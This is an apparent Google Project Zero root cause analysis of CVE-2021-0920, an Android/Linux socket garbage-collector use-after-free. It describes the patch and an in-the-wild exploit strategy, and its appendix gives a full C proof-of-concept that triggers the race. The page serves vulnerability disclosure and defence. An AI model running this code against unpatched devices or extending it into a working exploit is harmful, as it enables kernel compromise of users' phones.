CINXE.COM

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>CVE-2021-0920: Android sk_buff use-after-free in Linux | 0-days In-the-Wild</title> <meta name="generator" content="Jekyll v3.10.0" /> <meta property="og:title" content="CVE-2021-0920: Android sk_buff use-after-free in Linux" /> <meta name="author" content="Google Project Zero" /> <meta property="og:locale" content="en_US" /> <meta name="description" content="Information about 0-days exploited in-the-wild!" /> <meta property="og:description" content="Information about 0-days exploited in-the-wild!" /> <link rel="canonical" href="https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/0day-RCAs/2021/CVE-2021-0920.html" /> <meta property="og:url" content="https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/0day-RCAs/2021/CVE-2021-0920.html" /> <meta property="og:site_name" content="0-days In-the-Wild" /> <meta property="og:type" content="website" /> <meta name="twitter:card" content="summary" /> <meta property="twitter:title" content="CVE-2021-0920: Android sk_buff use-after-free in Linux" /> <script type="application/ld+json"> {"@context":"https://schema.org","@type":"WebPage","author":{"@type":"Person","name":"Google Project Zero"},"description":"Information about 0-days exploited in-the-wild!","headline":"CVE-2021-0920: Android sk_buff use-after-free in Linux","url":"https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/0day-RCAs/2021/CVE-2021-0920.html"}</script>  <link rel="stylesheet" href="/0days-in-the-wild/assets/main.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto|Source+Code+Pro"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.7/css/all.css"><link type="application/atom+xml" rel="alternate" href="https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/feed.xml" title="0-days In-the-Wild" /></head> <body><header class="site-header"> <div class="wrapper"> <a class="site-title" rel="author" href="/0days-in-the-wild/">0-days In-the-Wild</a> <nav class="site-nav"> <input type="checkbox" id="nav-trigger" class="nav-trigger" /> <label for="nav-trigger"> <svg viewBox="0 0 18 15" width="18px" height="15px"> <path d="M18,1.484c0,0.82-0.665,1.484-1.484,1.484H1.484C0.665,2.969,0,2.304,0,1.484l0,0C0,0.665,0.665,0,1.484,0 h15.032C17.335,0,18,0.665,18,1.484L18,1.484z M18,7.516C18,8.335,17.335,9,16.516,9H1.484C0.665,9,0,8.335,0,7.516l0,0 c0-0.82,0.665-1.484,1.484-1.484h15.032C17.335,6.031,18,6.696,18,7.516L18,7.516z M18,13.516C18,14.335,17.335,15,16.516,15H1.484 C0.665,15,0,14.335,0,13.516l0,0c0-0.82,0.665-1.483,1.484-1.483h15.032C17.335,12.031,18,12.695,18,13.516L18,13.516z"/> </svg> </label> <div class="trigger"> <a href="https://googleprojectzero.github.io/0days-in-the-wild/rca.html" class="page-link">Root Cause Analyses</a> <a href="https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY" class="page-link">Tracking Sheet</a> <a href="https://googleprojectzero.github.io/0days-in-the-wild/contributing.html" class="page-link">Contributing</a> <a href="https://googleprojectzero.github.io/0days-in-the-wild/about.html" class="page-link">About</a> <a href="https://googleprojectzero.blogspot.com/" class="menu-link" target="_blank"></a> <a href="https://bugs.chromium.org/p/project-zero/issues/list" class="menu-link" target="_blank"></a> <a href="https://github.com/googleprojectzero/0days-in-the-wild" class="menu-link" target="_blank"></a> <a href="mailto:0day-in-the-wild@google.com" class="menu-link" target="_blank"></a> </div> </nav> </div> </header> <main class="page-content" aria-label="Content"> <div class="wrapper"> <article class="post"> <header class="post-header"> <h1 class="post-title">CVE-2021-0920: Android sk_buff use-after-free in Linux</h1> </header> <div class="post-content"> Xingyu Jin, Android Security Research <h2 id="the-basics">The Basics</h2> Disclosure or Patch Date: November 5, 2021 **Product:**Google Android Advisory: <a href="https://source.android.com/security/bulletin/2021-11-01#kernel-components">https://source.android.com/security/bulletin/2021-11-01#kernel-components</a> Affected Versions: Pre-Nov 5 2021 SPL for devices released prior to Nov 2022 First Patched Version: 5 Nov 2021 SPL+ Issue/Bug Report: A-196926917 Patch CL: <a href="https://android.googlesource.com/kernel/common/+/cbcf01128d0a92e131bd09f1688fe032480b65ca">https://android.googlesource.com/kernel/common/+/cbcf01128d0a92e131bd09f1688fe032480b65ca</a> Bug-Introducing CL: Unknown Reporter(s): Anonymous <h2 id="the-code">The Code</h2> Proof-of-concept: See the appendix Exploit sample: N/A Did you have access to the exploit sample when doing the analysis? Yes <h2 id="the-vulnerability">The Vulnerability</h2> Bug class: use-after-free (UAF) Vulnerability details: There is a race condition where the garbage collector can treat an inflight socket as a garbage candidate, while the file reference count is incremented at the same time. This occurs when the syscall <code>recvmsg</code> is called with the <code>MSG_PEEK</code> flag. The accidental increase on the reference count can alter the internal state of the garbage collector and lead to <code>sk_buff</code> object use-after-free. See <a href="https://googleprojectzero.blogspot.com/2022/08/the-quantum-state-of-linux-kernel.html">this blog post</a> for the full explanation. Patch analysis: The kernel forces <code>recvmsg</code> syscall with <code>MSG_PEEK</code> flag to synchronize with GC. By doing so, it’s impossible for the receiver to obtain a file descriptor with an elevated reference count. <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+ spin_lock(&unix_gc_lock); + spin_unlock(&unix_gc_lock); </code></pre></div></div> Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.): “fuzzing”: the bug was found in 2016 by a developer who heavily used SCM_RIGHTS + MSG_PEEK. (Historical/present/future) context of bug: The bug was found in 2016 according to the public Linux kernel email <a href="https://patchwork.ozlabs.org/project/netdev/patch/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/">thread</a>, but the patch was not accepted. <h2 id="the-exploit">The Exploit</h2> (The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are <a href="https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html">defined here</a>.) Exploit strategy (or strategies): The <code>sk_buff->data</code> from the use-after-free <code>sk_buff</code> object may be occupied by a <code>scm_fp_list</code> object, which leads to leak a set of file structure pointers. Since several file structures may occupy an entire newly allocated slab page, the exploit is able to know the page address and control the page content by freeing the corresponding file descriptors and spraying slab pages. The exploit may put several fake pipe structures on a controlled slab page and link up with a file by <code>skb_unlink</code>. Thus, <code>pipe_buffer->page</code> and <code>pipe_buffer->offset</code> can be abused to implement arbitrary read / write primitives. Exploit flow: The vulnerable GC may be tricked into a spectacular convoluted file descriptor transmission scenario with two threads use <code>recvmsg</code> syscall to retrieve transmitted file descriptors at the same time. After GC completes, a thread may receive a use-after-free <code>sk_buff</code> object. Moreover, several additional threads need to perform heap spray, fix kernel structures and manipulate the kernel scheduler in the meantime. To prolong the GC process for winning the race condition, an exploit may intentionally create a number of garbage objects. Known cases of the same exploit flow: No Part of an exploit chain? Yes, this is part of an in the wild Samsung full chain exploit. The other part for RCE is Samsung browser in the wild 0day CVE-2021-38000 and Chrome Nday CVE-2020-16040. <h2 id="the-next-steps">The Next Steps</h2> <h3 id="variant-analysis">Variant analysis</h3> Areas/approach for variant analysis (and why): code auditing because the GC implementation is too complex for a fuzzer to easily spot any security bugs Found variants: <a href="https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html">CVE-2021-4083 by Jann Horn</a> <h3 id="structural-improvements">Structural improvements</h3> What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? Ideas to kill the bug class: Have a formal model of the file lifecycle and the GC, or a specialized race fuzzer for fuzzing GC. Ideas to mitigate the exploit flow: CONFIG_SLAB_FREELIST_RANDOM should be a required mitigation for Android to reduce the possibility of heap shaping. Other potential improvements: Documenting the precise semantics of the lifecycle states and reference states of complicated kernel structures (e.g. struct file). <h3 id="day-detection-methods">0-day detection methods</h3> What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day? Potential signal: a program generates a number of garbage objects, with other suspicious threads that pin different cpu core and tweak task affinity. <h2 id="other-references">Other References</h2> <ul> <li><a href="https://googleprojectzero.blogspot.com/2022/08/the-quantum-state-of-linux-kernel.html">"The Quantum State of Linux Kernel Garbage Collection"</a> by Xingyu Jin on Project Zero Blog</li> </ul> <h2 id="appendix">Appendix</h2> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// aarch64-linux-gnu-gcc-10 poc.c -o poc -static -lpthread #define _GNU_SOURCE /* See feature_test_macros(7) */ #include <fcntl.h> #include <pthread.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define __int64 long #define __int8 char int sv[2]; pthread_mutex_t condition_mutex_recvmsg; pthread_mutex_t condition_mutex_recv; int g_victim_sock_fd; pthread_mutex_t condition_mutex_gc; pthread_cond_t condition_cond_gc; pthread_cond_t condition_cond_recvmsg; // helpers static void send_fd(int socket, int fd) // send fd by socket { struct msghdr msg = {0}; char buf[CMSG_SPACE(sizeof(fd))]; memset(buf, '\0', sizeof(buf)); struct iovec io = {.iov_base = "", .iov_len = 1}; msg.msg_iov = &io; msg.msg_iovlen = 1; msg.msg_control = buf; msg.msg_controllen = sizeof(buf); struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; cmsg->cmsg_len = CMSG_LEN(sizeof(fd)); *((int *)CMSG_DATA(cmsg)) = fd; msg.msg_controllen = CMSG_SPACE(sizeof(fd)); if (sendmsg(socket, &msg, 0) < 0) perror("Failed to send message send_fd"); } static void send_fds(int socket, int *fds, int num_fds, int num_iovs) { struct msghdr msg = {0}; char buf[CMSG_SPACE(num_fds * sizeof(int))]; memset(buf, '\0', sizeof(buf)); struct iovec io[num_iovs]; for (int i = 0; i < num_iovs; i++) { io[i].iov_base = "A"; io[i].iov_len = 2; } msg.msg_iov = io; msg.msg_iovlen = num_iovs; msg.msg_control = buf; msg.msg_controllen = sizeof(buf); struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; cmsg->cmsg_len = CMSG_LEN(num_fds * sizeof(int)); memcpy(cmsg->__cmsg_data, fds, num_fds * sizeof(int)); if (sendmsg(socket, &msg, 0) < 0) perror("Failed to send message send_fds"); } __int64 pin_cpu(int core_id) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core_id, &mask); return sched_setaffinity(0, sizeof(mask), &mask); } // thread to trigger unix_gc() void t_main_gc_simple(__int64 a1, __int64 a2) { int v3; int fd; setpriority(PRIO_PROCESS, 0, -19); pin_cpu(3LL); pthread_mutex_lock(&condition_mutex_gc); pthread_cond_wait(&condition_cond_gc, &condition_mutex_gc); pthread_mutex_unlock(&condition_mutex_gc); fd = socket(1, 1, 0); // AF_LOCAL, SOCK_STREAM v3 = socket(1, 1, 0); setpriority(PRIO_PROCESS, 0, -18); close(fd); pthread_cond_signal(&condition_cond_recvmsg); close(v3); usleep(0x186A0u); } int fd_34[2]; int local_spair[2]; __int64 setup_race(int a1) { __int64 result; __int64 v3; int v4[3]; int v5[710]; int local_spair[2]; int v7; int v8; int prio; int fd; int j; int k; signed int i; i = 0; k = 0; setpriority(PRIO_PROCESS, 0, 19); fd = socket(1, 1, 0); close(fd); usleep(0x61A80u); i = 0; k = 0; socketpair(1, 1, 0, fd_34); send_fd(sv[0], fd_34[1]); send_fd(fd_34[0], fd_34[0]); for (int i = 0; i <= 99; ++i) { socketpair(1, 1, 0, &v5[2 * i + 510]); for (int k = 0; k <= 4; ++k) v5[5 * i + 10 + k] = socket(1, 1, 0); } for (int i = 0; i <= 99; ++i) { send_fd(fd_34[1], v5[2 * i + 511]); for (int k = 0; k <= 4; ++k) { send_fd(v5[2 * i + 510], v5[5 * i + 10 + k]); close(v5[5 * i + 10 + k]); } close(v5[2 * i + 511]); close(v5[2 * i + 510]); } close(fd_34[1]); close(fd_34[0]); usleep(0x186A0u); pthread_cond_signal(&condition_cond_gc); usleep(0x186A0u); close(sv[0]); } __int64 t_recvmsg() { int v0; int v1; int *v2; int v4; int v5; __int64 v6; int v7; cpu_set_t v8; char v9; long v10[130]; struct msghdr v11; long received_fds[10]; int fd; int v14; int *received_fds_ptr; int v16; int v17; setpriority(PRIO_PROCESS, 0, 20); v9 = 0; memset(&v11, 0, sizeof(v11)); v10[0] = &v9; v10[1] = 1LL; v11.msg_iov = &v10; v11.msg_iovlen = 1LL; v11.msg_control = received_fds; v11.msg_controllen = 20LL; received_fds_ptr = (int *)received_fds; received_fds[0] = 20LL; // len v17 = 0; v14 = -1; pin_cpu(2LL); setpriority(PRIO_PROCESS, 0, -19); pthread_mutex_lock(&condition_mutex_recvmsg); pthread_cond_wait(&condition_cond_recvmsg, &condition_mutex_recvmsg); pthread_mutex_unlock(&condition_mutex_recvmsg); usleep(0xFAu); v0 = recvmsg(sv[1], &v11, 0x80042); v14 = v0 < 0; fd = received_fds_ptr[4]; v1 = recvmsg(fd, &v11, 0x80042); // data v14 = v1 < 0; g_victim_sock_fd = received_fds_ptr[4]; usleep(0x3E8u); v5 = v4; v17 = 0; v16 = -1; v7 = recvmsg(fd, &v11, 0x80040); v14 = v7 < 0; v16 = received_fds_ptr[4]; usleep(0x186A0u); close(fd); close(v16); close(sv[1]); pthread_exit(0LL); return 0LL; } void trigger() { pthread_t v18; pthread_t v20; pthread_t v21; void *arg; pthread_create(&v20, 0LL, (void *(*)(void *))t_main_gc_simple, 0LL); pthread_create(&v18, 0LL, (void *(*)(void *))t_recvmsg, 0LL); usleep(0x2710u); pthread_create(&v21, 0LL, (void *(*)(void *))setup_race, 0LL); pthread_join(v21, 0LL); pthread_join(v18, 0LL); pthread_join(v20, 0LL); usleep(10); puts("wut?"); } int main(int argc, char **argv) { for (int i = 0; i < 20; i++) { if (socketpair(1, 1, 0, sv) != 0) printf("Failed to create Unix-domain socket pair\n"); trigger(); } return 0; } </code></pre></div></div> </div> </article> </div> </main><footer class="site-footer h-card"> <data class="u-url" href="/0days-in-the-wild/"></data> <div class="wrapper"> <h2 class="footer-heading">0-days In-the-Wild</h2> <div class="footer-col-wrapper"> <div class="footer-col footer-col-1"> <ul class="contact-list"> <li class="p-name">Google Project Zero</li><li><a class="u-email" href="mailto:0day-in-the-wild@google.com">0day-in-the-wild@google.com</a></li></ul> </div> <div class="footer-col footer-col-2"><ul class="social-media-list"><li><a href="https://github.com/googleprojectzero"><svg class="svg-icon"><use xlink:href="/0days-in-the-wild/assets/minima-social-icons.svg#github"></use></svg> googleprojectzero</a></li></ul> </div> <div class="footer-col footer-col-3"> Information about 0-days exploited in-the-wild! </div> </div> </div> </footer> </body> </html>